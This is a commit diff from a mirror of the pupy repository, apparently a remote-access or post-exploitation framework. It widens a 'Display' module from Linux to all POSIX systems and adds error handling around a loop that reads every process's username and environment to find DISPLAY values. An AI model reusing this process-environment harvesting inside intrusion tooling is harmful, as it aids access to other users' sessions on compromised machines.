mirror of https://github.com/n1nj4sec/pupy.git
Make display module compatible to all systems which supports .environ()
This commit is contained in:
parent
0ab67d0a9c
commit
c157039b50
|
@ -4,7 +4,7 @@ from pupylib.utils.rpyc_utils import obtain
|
|||
|
||||
__class_name__="Display"
|
||||
|
||||
@config(compat="linux", cat="admin")
|
||||
@config(compat="posix", cat="admin")
|
||||
class Display(PupyModule):
|
||||
""" Set display variable """
|
||||
|
||||
|
|
|
@ -93,7 +93,11 @@ def guess_displays():
|
|||
userinfos = {}
|
||||
|
||||
for process in psutil.process_iter():
|
||||
info = process.as_dict(['username', 'environ'])
|
||||
try:
|
||||
info = process.as_dict(['username', 'environ'])
|
||||
except:
|
||||
continue
|
||||
|
||||
if info['username'] and info['environ']:
|
||||
if not 'DISPLAY' in info['environ']:
|
||||
continue
|
Loading…
Reference in New Issue